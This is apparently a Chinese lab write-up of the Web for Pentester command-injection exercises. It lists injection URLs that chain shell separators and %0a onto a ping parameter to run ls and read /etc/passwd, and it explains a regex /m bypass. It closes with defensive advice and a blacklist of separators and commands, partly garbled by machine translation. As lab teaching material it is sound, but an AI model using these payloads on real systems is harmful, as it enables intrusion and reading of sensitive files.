web for pentester之command injection

web for pentester之命令执行漏洞

(命令执行漏洞)
开启pentester虚拟机:
web for pentester之command injection

开启之后,输入ipconfig查看虚拟机ip地址;我这里虚拟机的ip地址为192.168.145.131;

在物理机上的Firefox地址栏中输http://192.168.145.131

进入web for pentester主页:

web for pentester之command injection

点击选择Commands injection(命令执行)测试:

windows支持:

|
ping 127.0.0.1|whoami

||
ping 2||whoami (哪条名令为真执行那条)

& &&
ping 127.0.0.1&&whoami

选择example1:

Example1:
web for pentester之command injection

url 为http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1

显示的是ping 127.0.0.1的内容,只ping了2次。

考虑到服务端代码可能为system(“ping -c 2”.$ip);

那么$ip用等符号间隔可再多执行些命令。可用;,,,&,&&,等,这其中有的需要第一个命令报错才执行第二个命令。
http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! ls
web for pentester之command injection

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat example1.php
web for pentester之command injection

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat /etc/passwd
web for pentester之command injectionweb for pentester之command injection

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1%26%26cat
/etc/passwd (//%26是&的urlencode)
web for pentester之command injection
web for pentester之command injection

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1%26cat
/etc/passwd
web for pentester之command injection
web for pentester之command injection

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1cat
/etc/passwd (//ab,必须是a报错b才能执行)
web for pentester之command injection

Example2:
web for pentester之command injection

url为http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1,显示的与之前的一样。
web for pentester之command injection

先用;ls试,显示Invalid IP
address,说明对ip提交的值进行了过滤,应该用了preg_grep等,希望使用了/m参数,用%0a进行截断试试。

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 ls

web for pentester之command injection

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 cat
example2.phpweb for pentester之command injection
成功。
查看源代码:
web for pentester之command injection

以后用preg千万别用/m,/e,但多用/i。

Example3:
web for pentester之command injection

url为http://192.168.145.131/commandexec/example3.php?ip=127.0.0.1,显示的与之前的一样。
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection
web for pentester之command injection

分别尝试了各种符号连接和%0a,包括把ip写成其它的,都显示ping通了。

查看源代码:

f (!(preg_match(’/^\d.\d.\d.\d$/’,
$_GET[‘ip’]))) { header(“Location: example3.php?ip=127.0.0.1”);

原来是如果ip不是ip地址格式,则跳转到ping 127.0.0.1。

这个地方如果用burp抓包:
web for pentester之command injection

能抓到两个包。第一个包302,但是执行命令成功的,能把后续的ls或cat发回客户端,但马上被第二个正常ping的包覆盖后显示了。

命令执行漏洞的一些安全建议:

  1. 尽量不要执行外部命令。
    
  2. 使用自定义函数或者函数库来代替外部命令的功能。
    
  3. 使用escapeshe||arg函数来处理命令参数。
    
  4. 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)
    
  5. 应用程序防御命令注入漏洞,通过做正确的输入验证和消毒。 开发人员必须考虑所有情况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。黑名单检查,然后才允许执行恶意模式。 命令注入的情况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 但是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是所有涉及危险的可能性,攻击者可以找到以外的黑名单的变化,来进行攻击。  白名单与安全执行模式匹配, 如果有问题的数据不匹配任何安全模式,这是不允许的。 这危险的构造,因为任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式可以写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式之前实施这一防御。